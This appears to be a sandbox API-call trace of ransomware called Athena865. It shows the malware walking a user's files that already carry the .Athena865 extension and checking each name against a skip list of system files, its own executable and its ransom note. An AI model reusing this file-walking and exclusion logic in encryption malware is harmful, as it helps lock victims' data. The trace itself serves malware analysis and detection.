(lpString="Athena865") returned 9 [0100.459] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.459] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eeccae0, ftCreationTime.dwHighDateTime=0x1d4d351, ftLastAccessTime.dwLowDateTime=0x20543290, ftLastAccessTime.dwHighDateTime=0x1d4ce88, ftLastWriteTime.dwLowDateTime=0xc59781a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xea40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6Yik1-OYAgjiRnPga.mkv.Athena865", cAlternateFileName="6YIK1-~1.ATH")) returned 1 [0100.459] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.459] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.459] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv.Athena865", lpString2=".") returned 1 [0100.459] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv.Athena865", lpString2="..") returned 1 [0100.459] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv.Athena865", lpString2="windows") returned -1 [0100.459] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv.Athena865", lpString2="bootmgr") returned -1 [0100.459] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv.Athena865", lpString2="temp") returned -1 [0100.459] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv.Athena865", lpString2="pagefile.sys") returned -1 [0100.459] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv.Athena865", lpString2="boot") returned -1 [0100.459] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv.Athena865", lpString2="ids.txt") returned -1 [0100.459] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv.Athena865", lpString2="ntuser.dat") returned -1 [0100.459] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv.Athena865", lpString2="perflogs") returned -1 [0100.459] lstrcmpiW (lpString1="6Yik1-OYAgjiRnPga.mkv.Athena865", lpString2="MSBuild") returned -1 [0100.459] lstrlenW (lpString="6Yik1-OYAgjiRnPga.mkv.Athena865") returned 31 [0100.459] lstrcpyW (in: lpString1=0x241e894, lpString2="6Yik1-OYAgjiRnPga.mkv.Athena865" | out: lpString1="6Yik1-OYAgjiRnPga.mkv.Athena865") returned="6Yik1-OYAgjiRnPga.mkv.Athena865" [0100.459] lstrlenW (lpString="6Yik1-OYAgjiRnPga.mkv.Athena865") returned 31 [0100.459] lstrlenW (lpString="Athena865") returned 9 [0100.459] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.459] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd686ac50, ftCreationTime.dwHighDateTime=0x1d4cbe0, ftLastAccessTime.dwLowDateTime=0xb5e054a0, ftLastAccessTime.dwHighDateTime=0x1d4cdcb, ftLastWriteTime.dwLowDateTime=0xc59c4460, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x50f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7jk3oaLR.bmp.Athena865", cAlternateFileName="7JK3OA~1.ATH")) returned 1 [0100.459] lstrcmpiW (lpString1="7jk3oaLR.bmp.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.460] lstrcmpiW (lpString1="7jk3oaLR.bmp.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.460] lstrcmpiW (lpString1="7jk3oaLR.bmp.Athena865", lpString2=".") returned 1 [0100.460] lstrcmpiW (lpString1="7jk3oaLR.bmp.Athena865", lpString2="..") returned 1 [0100.460] lstrcmpiW (lpString1="7jk3oaLR.bmp.Athena865", lpString2="windows") returned -1 [0100.460] lstrcmpiW (lpString1="7jk3oaLR.bmp.Athena865", lpString2="bootmgr") returned -1 [0100.460] lstrcmpiW (lpString1="7jk3oaLR.bmp.Athena865", lpString2="temp") returned -1 [0100.460] lstrcmpiW (lpString1="7jk3oaLR.bmp.Athena865", lpString2="pagefile.sys") returned -1 [0100.460] lstrcmpiW (lpString1="7jk3oaLR.bmp.Athena865", lpString2="boot") returned -1 [0100.460] lstrcmpiW (lpString1="7jk3oaLR.bmp.Athena865", lpString2="ids.txt") returned -1 [0100.460] lstrcmpiW (lpString1="7jk3oaLR.bmp.Athena865", lpString2="ntuser.dat") returned -1 [0100.460] lstrcmpiW (lpString1="7jk3oaLR.bmp.Athena865", lpString2="perflogs") returned -1 [0100.460] lstrcmpiW (lpString1="7jk3oaLR.bmp.Athena865", lpString2="MSBuild") returned -1 [0100.460] lstrlenW (lpString="7jk3oaLR.bmp.Athena865") returned 22 [0100.460] lstrcpyW (in: lpString1=0x241e894, lpString2="7jk3oaLR.bmp.Athena865" | out: lpString1="7jk3oaLR.bmp.Athena865") returned="7jk3oaLR.bmp.Athena865" [0100.460] lstrlenW (lpString="7jk3oaLR.bmp.Athena865") returned 22 [0100.460] lstrlenW (lpString="Athena865") returned 9 [0100.460] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.460] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c3f7f0, ftCreationTime.dwHighDateTime=0x1d4c7c1, ftLastAccessTime.dwLowDateTime=0x24e86540, ftLastAccessTime.dwHighDateTime=0x1d4cecb, ftLastWriteTime.dwLowDateTime=0xc59ea5c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x146b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7_Hm3w1s.png.Athena865", cAlternateFileName="7_HM3W~1.ATH")) returned 1 [0100.460] lstrcmpiW (lpString1="7_Hm3w1s.png.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.460] lstrcmpiW (lpString1="7_Hm3w1s.png.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.460] lstrcmpiW (lpString1="7_Hm3w1s.png.Athena865", lpString2=".") returned 1 [0100.460] lstrcmpiW (lpString1="7_Hm3w1s.png.Athena865", lpString2="..") returned 1 [0100.460] lstrcmpiW (lpString1="7_Hm3w1s.png.Athena865", lpString2="windows") returned -1 [0100.460] lstrcmpiW (lpString1="7_Hm3w1s.png.Athena865", lpString2="bootmgr") returned -1 [0100.460] lstrcmpiW (lpString1="7_Hm3w1s.png.Athena865", lpString2="temp") returned -1 [0100.460] lstrcmpiW (lpString1="7_Hm3w1s.png.Athena865", lpString2="pagefile.sys") returned -1 [0100.460] lstrcmpiW (lpString1="7_Hm3w1s.png.Athena865", lpString2="boot") returned -1 [0100.460] lstrcmpiW (lpString1="7_Hm3w1s.png.Athena865", lpString2="ids.txt") returned -1 [0100.460] lstrcmpiW (lpString1="7_Hm3w1s.png.Athena865", lpString2="ntuser.dat") returned -1 [0100.460] lstrcmpiW (lpString1="7_Hm3w1s.png.Athena865", lpString2="perflogs") returned -1 [0100.460] lstrcmpiW (lpString1="7_Hm3w1s.png.Athena865", lpString2="MSBuild") returned -1 [0100.461] lstrlenW (lpString="7_Hm3w1s.png.Athena865") returned 22 [0100.461] lstrcpyW (in: lpString1=0x241e894, lpString2="7_Hm3w1s.png.Athena865" | out: lpString1="7_Hm3w1s.png.Athena865") returned="7_Hm3w1s.png.Athena865" [0100.461] lstrlenW (lpString="7_Hm3w1s.png.Athena865") returned 22 [0100.461] lstrlenW (lpString="Athena865") returned 9 [0100.461] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.461] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26cde4c0, ftCreationTime.dwHighDateTime=0x1d4d155, ftLastAccessTime.dwLowDateTime=0x29e1ceb0, ftLastAccessTime.dwHighDateTime=0x1d4d47a, ftLastWriteTime.dwLowDateTime=0xc59ea5c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x1760, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8lbZk.flv.Athena865", cAlternateFileName="8LBZKF~1.ATH")) returned 1 [0100.461] lstrcmpiW (lpString1="8lbZk.flv.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.461] lstrcmpiW (lpString1="8lbZk.flv.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.461] lstrcmpiW (lpString1="8lbZk.flv.Athena865", lpString2=".") returned 1 [0100.461] lstrcmpiW (lpString1="8lbZk.flv.Athena865", lpString2="..") returned 1 [0100.461] lstrcmpiW (lpString1="8lbZk.flv.Athena865", lpString2="windows") returned -1 [0100.461] lstrcmpiW (lpString1="8lbZk.flv.Athena865", lpString2="bootmgr") returned -1 [0100.461] lstrcmpiW (lpString1="8lbZk.flv.Athena865", lpString2="temp") returned -1 [0100.461] lstrcmpiW (lpString1="8lbZk.flv.Athena865", lpString2="pagefile.sys") returned -1 [0100.461] lstrcmpiW (lpString1="8lbZk.flv.Athena865", lpString2="boot") returned -1 [0100.461] lstrcmpiW (lpString1="8lbZk.flv.Athena865", lpString2="ids.txt") returned -1 [0100.461] lstrcmpiW (lpString1="8lbZk.flv.Athena865", lpString2="ntuser.dat") returned -1 [0100.461] lstrcmpiW (lpString1="8lbZk.flv.Athena865", lpString2="perflogs") returned -1 [0100.461] lstrcmpiW (lpString1="8lbZk.flv.Athena865", lpString2="MSBuild") returned -1 [0100.461] lstrlenW (lpString="8lbZk.flv.Athena865") returned 19 [0100.461] lstrcpyW (in: lpString1=0x241e894, lpString2="8lbZk.flv.Athena865" | out: lpString1="8lbZk.flv.Athena865") returned="8lbZk.flv.Athena865" [0100.461] lstrlenW (lpString="8lbZk.flv.Athena865") returned 19 [0100.461] lstrlenW (lpString="Athena865") returned 9 [0100.461] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.461] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce04d0, ftCreationTime.dwHighDateTime=0x1d4ccdb, ftLastAccessTime.dwLowDateTime=0xeb7b7140, ftLastAccessTime.dwHighDateTime=0x1d4cb68, ftLastWriteTime.dwLowDateTime=0xc5a10720, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x9f10, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9JYn.mkv.Athena865", cAlternateFileName="9JYNMK~1.ATH")) returned 1 [0100.461] lstrcmpiW (lpString1="9JYn.mkv.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.461] lstrcmpiW (lpString1="9JYn.mkv.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.461] lstrcmpiW (lpString1="9JYn.mkv.Athena865", lpString2=".") returned 1 [0100.461] lstrcmpiW (lpString1="9JYn.mkv.Athena865", lpString2="..") returned 1 [0100.461] lstrcmpiW (lpString1="9JYn.mkv.Athena865", lpString2="windows") returned -1 [0100.461] lstrcmpiW (lpString1="9JYn.mkv.Athena865", lpString2="bootmgr") returned -1 [0100.462] lstrcmpiW (lpString1="9JYn.mkv.Athena865", lpString2="temp") returned -1 [0100.462] lstrcmpiW (lpString1="9JYn.mkv.Athena865", lpString2="pagefile.sys") returned -1 [0100.462] lstrcmpiW (lpString1="9JYn.mkv.Athena865", lpString2="boot") returned -1 [0100.462] lstrcmpiW (lpString1="9JYn.mkv.Athena865", lpString2="ids.txt") returned -1 [0100.462] lstrcmpiW (lpString1="9JYn.mkv.Athena865", lpString2="ntuser.dat") returned -1 [0100.462] lstrcmpiW (lpString1="9JYn.mkv.Athena865", lpString2="perflogs") returned -1 [0100.462] lstrcmpiW (lpString1="9JYn.mkv.Athena865", lpString2="MSBuild") returned -1 [0100.462] lstrlenW (lpString="9JYn.mkv.Athena865") returned 18 [0100.462] lstrcpyW (in: lpString1=0x241e894, lpString2="9JYn.mkv.Athena865" | out: lpString1="9JYn.mkv.Athena865") returned="9JYn.mkv.Athena865" [0100.462] lstrlenW (lpString="9JYn.mkv.Athena865") returned 18 [0100.462] lstrlenW (lpString="Athena865") returned 9 [0100.462] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.462] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16f77940, ftCreationTime.dwHighDateTime=0x1d4c7cc, ftLastAccessTime.dwLowDateTime=0xcf073fd0, ftLastAccessTime.dwHighDateTime=0x1d4c898, ftLastWriteTime.dwLowDateTime=0xc5a36880, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x40f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A6RNjzW.avi.Athena865", cAlternateFileName="A6RNJZ~1.ATH")) returned 1 [0100.462] lstrcmpiW (lpString1="A6RNjzW.avi.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.462] lstrcmpiW (lpString1="A6RNjzW.avi.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.462] lstrcmpiW (lpString1="A6RNjzW.avi.Athena865", lpString2=".") returned 1 [0100.462] lstrcmpiW (lpString1="A6RNjzW.avi.Athena865", lpString2="..") returned 1 [0100.462] lstrcmpiW (lpString1="A6RNjzW.avi.Athena865", lpString2="windows") returned -1 [0100.462] lstrcmpiW (lpString1="A6RNjzW.avi.Athena865", lpString2="bootmgr") returned -1 [0100.462] lstrcmpiW (lpString1="A6RNjzW.avi.Athena865", lpString2="temp") returned -1 [0100.462] lstrcmpiW (lpString1="A6RNjzW.avi.Athena865", lpString2="pagefile.sys") returned -1 [0100.462] lstrcmpiW (lpString1="A6RNjzW.avi.Athena865", lpString2="boot") returned -1 [0100.462] lstrcmpiW (lpString1="A6RNjzW.avi.Athena865", lpString2="ids.txt") returned -1 [0100.462] lstrcmpiW (lpString1="A6RNjzW.avi.Athena865", lpString2="ntuser.dat") returned -1 [0100.462] lstrcmpiW (lpString1="A6RNjzW.avi.Athena865", lpString2="perflogs") returned -1 [0100.462] lstrcmpiW (lpString1="A6RNjzW.avi.Athena865", lpString2="MSBuild") returned -1 [0100.462] lstrlenW (lpString="A6RNjzW.avi.Athena865") returned 21 [0100.462] lstrcpyW (in: lpString1=0x241e894, lpString2="A6RNjzW.avi.Athena865" | out: lpString1="A6RNjzW.avi.Athena865") returned="A6RNjzW.avi.Athena865" [0100.462] lstrlenW (lpString="A6RNjzW.avi.Athena865") returned 21 [0100.462] lstrlenW (lpString="Athena865") returned 9 [0100.462] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.462] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e08f60, ftCreationTime.dwHighDateTime=0x1d4cf3f, ftLastAccessTime.dwLowDateTime=0xeca51350, ftLastAccessTime.dwHighDateTime=0x1d4cf7d, ftLastWriteTime.dwLowDateTime=0xc5a5c9e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x17b70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ADTaAiwHU1TOk9CH-.jpg.Athena865", cAlternateFileName="ADTAAI~1.ATH")) returned 1 [0100.463] lstrcmpiW (lpString1="ADTaAiwHU1TOk9CH-.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.463] lstrcmpiW (lpString1="ADTaAiwHU1TOk9CH-.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.463] lstrcmpiW (lpString1="ADTaAiwHU1TOk9CH-.jpg.Athena865", lpString2=".") returned 1 [0100.463] lstrcmpiW (lpString1="ADTaAiwHU1TOk9CH-.jpg.Athena865", lpString2="..") returned 1 [0100.463] lstrcmpiW (lpString1="ADTaAiwHU1TOk9CH-.jpg.Athena865", lpString2="windows") returned -1 [0100.463] lstrcmpiW (lpString1="ADTaAiwHU1TOk9CH-.jpg.Athena865", lpString2="bootmgr") returned -1 [0100.463] lstrcmpiW (lpString1="ADTaAiwHU1TOk9CH-.jpg.Athena865", lpString2="temp") returned -1 [0100.463] lstrcmpiW (lpString1="ADTaAiwHU1TOk9CH-.jpg.Athena865", lpString2="pagefile.sys") returned -1 [0100.463] lstrcmpiW (lpString1="ADTaAiwHU1TOk9CH-.jpg.Athena865", lpString2="boot") returned -1 [0100.463] lstrcmpiW (lpString1="ADTaAiwHU1TOk9CH-.jpg.Athena865", lpString2="ids.txt") returned -1 [0100.463] lstrcmpiW (lpString1="ADTaAiwHU1TOk9CH-.jpg.Athena865", lpString2="ntuser.dat") returned -1 [0100.463] lstrcmpiW (lpString1="ADTaAiwHU1TOk9CH-.jpg.Athena865", lpString2="perflogs") returned -1 [0100.463] lstrcmpiW (lpString1="ADTaAiwHU1TOk9CH-.jpg.Athena865", lpString2="MSBuild") returned -1 [0100.463] lstrlenW (lpString="ADTaAiwHU1TOk9CH-.jpg.Athena865") returned 31 [0100.463] lstrcpyW (in: lpString1=0x241e894, lpString2="ADTaAiwHU1TOk9CH-.jpg.Athena865" | out: lpString1="ADTaAiwHU1TOk9CH-.jpg.Athena865") returned="ADTaAiwHU1TOk9CH-.jpg.Athena865" [0100.463] lstrlenW (lpString="ADTaAiwHU1TOk9CH-.jpg.Athena865") returned 31 [0100.463] lstrlenW (lpString="Athena865") returned 9 [0100.463] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.463] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1f95b10, ftCreationTime.dwHighDateTime=0x1d4cb75, ftLastAccessTime.dwLowDateTime=0xceb55610, ftLastAccessTime.dwHighDateTime=0x1d4cd08, ftLastWriteTime.dwLowDateTime=0xc5a82b40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x99d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="as_gjoerstCS4z WWtXB.swf.Athena865", cAlternateFileName="AS_GJO~1.ATH")) returned 1 [0100.463] lstrcmpiW (lpString1="as_gjoerstCS4z WWtXB.swf.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.463] lstrcmpiW (lpString1="as_gjoerstCS4z WWtXB.swf.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.463] lstrcmpiW (lpString1="as_gjoerstCS4z WWtXB.swf.Athena865", lpString2=".") returned 1 [0100.463] lstrcmpiW (lpString1="as_gjoerstCS4z WWtXB.swf.Athena865", lpString2="..") returned 1 [0100.463] lstrcmpiW (lpString1="as_gjoerstCS4z WWtXB.swf.Athena865", lpString2="windows") returned -1 [0100.463] lstrcmpiW (lpString1="as_gjoerstCS4z WWtXB.swf.Athena865", lpString2="bootmgr") returned -1 [0100.463] lstrcmpiW (lpString1="as_gjoerstCS4z WWtXB.swf.Athena865", lpString2="temp") returned -1 [0100.463] lstrcmpiW (lpString1="as_gjoerstCS4z WWtXB.swf.Athena865", lpString2="pagefile.sys") returned -1 [0100.463] lstrcmpiW (lpString1="as_gjoerstCS4z WWtXB.swf.Athena865", lpString2="boot") returned -1 [0100.463] lstrcmpiW (lpString1="as_gjoerstCS4z WWtXB.swf.Athena865", lpString2="ids.txt") returned -1 [0100.463] lstrcmpiW (lpString1="as_gjoerstCS4z WWtXB.swf.Athena865", lpString2="ntuser.dat") returned -1 [0100.463] lstrcmpiW (lpString1="as_gjoerstCS4z WWtXB.swf.Athena865", lpString2="perflogs") returned -1 [0100.464] lstrcmpiW (lpString1="as_gjoerstCS4z WWtXB.swf.Athena865", lpString2="MSBuild") returned -1 [0100.464] lstrlenW (lpString="as_gjoerstCS4z WWtXB.swf.Athena865") returned 34 [0100.464] lstrcpyW (in: lpString1=0x241e894, lpString2="as_gjoerstCS4z WWtXB.swf.Athena865" | out: lpString1="as_gjoerstCS4z WWtXB.swf.Athena865") returned="as_gjoerstCS4z WWtXB.swf.Athena865" [0100.464] lstrlenW (lpString="as_gjoerstCS4z WWtXB.swf.Athena865") returned 34 [0100.464] lstrlenW (lpString="Athena865") returned 9 [0100.464] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.464] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f64f50, ftCreationTime.dwHighDateTime=0x1d4cc5c, ftLastAccessTime.dwLowDateTime=0x53c98f0, ftLastAccessTime.dwHighDateTime=0x1d4ceef, ftLastWriteTime.dwLowDateTime=0xc5a82b40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x1fb0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bvnGyby3BVhUG4Ku.wav.Athena865", cAlternateFileName="BVNGYB~1.ATH")) returned 1 [0100.464] lstrcmpiW (lpString1="bvnGyby3BVhUG4Ku.wav.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.464] lstrcmpiW (lpString1="bvnGyby3BVhUG4Ku.wav.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.464] lstrcmpiW (lpString1="bvnGyby3BVhUG4Ku.wav.Athena865", lpString2=".") returned 1 [0100.464] lstrcmpiW (lpString1="bvnGyby3BVhUG4Ku.wav.Athena865", lpString2="..") returned 1 [0100.464] lstrcmpiW (lpString1="bvnGyby3BVhUG4Ku.wav.Athena865", lpString2="windows") returned -1 [0100.464] lstrcmpiW (lpString1="bvnGyby3BVhUG4Ku.wav.Athena865", lpString2="bootmgr") returned 1 [0100.464] lstrcmpiW (lpString1="bvnGyby3BVhUG4Ku.wav.Athena865", lpString2="temp") returned -1 [0100.464] lstrcmpiW (lpString1="bvnGyby3BVhUG4Ku.wav.Athena865", lpString2="pagefile.sys") returned -1 [0100.464] lstrcmpiW (lpString1="bvnGyby3BVhUG4Ku.wav.Athena865", lpString2="boot") returned 1 [0100.464] lstrcmpiW (lpString1="bvnGyby3BVhUG4Ku.wav.Athena865", lpString2="ids.txt") returned -1 [0100.464] lstrcmpiW (lpString1="bvnGyby3BVhUG4Ku.wav.Athena865", lpString2="ntuser.dat") returned -1 [0100.464] lstrcmpiW (lpString1="bvnGyby3BVhUG4Ku.wav.Athena865", lpString2="perflogs") returned -1 [0100.464] lstrcmpiW (lpString1="bvnGyby3BVhUG4Ku.wav.Athena865", lpString2="MSBuild") returned -1 [0100.464] lstrlenW (lpString="bvnGyby3BVhUG4Ku.wav.Athena865") returned 30 [0100.464] lstrcpyW (in: lpString1=0x241e894, lpString2="bvnGyby3BVhUG4Ku.wav.Athena865" | out: lpString1="bvnGyby3BVhUG4Ku.wav.Athena865") returned="bvnGyby3BVhUG4Ku.wav.Athena865" [0100.464] lstrlenW (lpString="bvnGyby3BVhUG4Ku.wav.Athena865") returned 30 [0100.464] lstrlenW (lpString="Athena865") returned 9 [0100.464] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.464] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d462d0, ftCreationTime.dwHighDateTime=0x1d4cdd6, ftLastAccessTime.dwLowDateTime=0x98c70bc0, ftLastAccessTime.dwHighDateTime=0x1d4cb0a, ftLastWriteTime.dwLowDateTime=0xc5aa8ca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x2880, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cc-i8iL8NSZcth9GSj_2.pptx.Athena865", cAlternateFileName="CC-I8I~1.ATH")) returned 1 [0100.464] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.pptx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.464] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.pptx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.464] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.pptx.Athena865", lpString2=".") returned 1 [0100.464] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.pptx.Athena865", lpString2="..") returned 1 [0100.464] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.pptx.Athena865", lpString2="windows") returned -1 [0100.464] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.pptx.Athena865", lpString2="bootmgr") returned 1 [0100.465] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.pptx.Athena865", lpString2="temp") returned -1 [0100.465] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.pptx.Athena865", lpString2="pagefile.sys") returned -1 [0100.465] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.pptx.Athena865", lpString2="boot") returned 1 [0100.465] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.pptx.Athena865", lpString2="ids.txt") returned -1 [0100.465] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.pptx.Athena865", lpString2="ntuser.dat") returned -1 [0100.465] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.pptx.Athena865", lpString2="perflogs") returned -1 [0100.465] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.pptx.Athena865", lpString2="MSBuild") returned -1 [0100.465] lstrlenW (lpString="cc-i8iL8NSZcth9GSj_2.pptx.Athena865") returned 35 [0100.465] lstrcpyW (in: lpString1=0x241e894, lpString2="cc-i8iL8NSZcth9GSj_2.pptx.Athena865" | out: lpString1="cc-i8iL8NSZcth9GSj_2.pptx.Athena865") returned="cc-i8iL8NSZcth9GSj_2.pptx.Athena865" [0100.465] lstrlenW (lpString="cc-i8iL8NSZcth9GSj_2.pptx.Athena865") returned 35 [0100.465] lstrlenW (lpString="Athena865") returned 9 [0100.465] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.465] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa892fa80, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xa892fa80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xa6c93700, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x34200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CUsersGustavoDesktopAthena865.exe", cAlternateFileName="CUSERS~1.EXE")) returned 1 [0100.465] lstrcmpiW (lpString1="CUsersGustavoDesktopAthena865.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.465] lstrcmpiW (lpString1="CUsersGustavoDesktopAthena865.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 0 [0100.465] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x420, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="DESKTO~1.ATH")) returned 1 [0100.465] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.465] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.465] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2=".") returned 1 [0100.465] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="..") returned 1 [0100.465] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="windows") returned -1 [0100.465] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="bootmgr") returned 1 [0100.465] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="temp") returned -1 [0100.465] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="pagefile.sys") returned -1 [0100.465] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="boot") returned 1 [0100.465] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ids.txt") returned -1 